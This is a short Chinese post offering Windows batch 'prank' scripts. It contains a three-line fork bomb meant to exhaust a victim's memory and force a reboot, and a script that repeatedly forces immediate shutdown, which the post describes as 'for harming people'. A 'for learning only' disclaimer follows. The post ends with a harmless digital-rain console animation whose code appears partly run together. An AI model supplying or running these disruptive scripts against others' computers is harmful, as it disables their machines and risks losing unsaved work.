恶搞代码一: 仅需 3 行,让别人内存OVER,逼他重启
@echo off
start cmd
%0
恶搞代码二: 让对方重启指定次数(害人专用),下面代码可以让对方电脑重启5次后不在重启
@echo off
if not exist c:\1.txt echo. >c:\1.txt & goto err1
if not exist c:\2.txt echo. >c:\2.txt & goto err1
if not exist c:\3.txt echo. >c:\3.txt & goto err1
if not exist c:\4.txt echo. >c:\4.txt & goto err1
if not exist c:\5.txt echo. >c:\5.txt & goto err1
goto err2
:err1
shutdown -s -t 0
:err2
==温馨提醒:代码仅供学习,恶搞出事,莫来找我==
接下来用批处理来下场数字雨,欣赏一下程序的特色,效果图:
代码如下,操作流程如上所述:
@echo off
title digitalrain
color 0b
setlocal ENABLEDELAYEDEXPANSION
for /l %%i in (0) do (
set"line="for /l %%j in (1,1,80) do (
set /a Down%%j-=2
set"x=!Down%%j!"if !x! LSS 0 (
set /a Arrow%%j=!random!%%3
set /a Down%%j=!random!%%15+10
)
set"x=!Arrow%%j!"if"!x!" == "2" (
set"line=!line!!random:~-1! "
) else (set"line=!line! ")
)
set /p=!line!<nul
)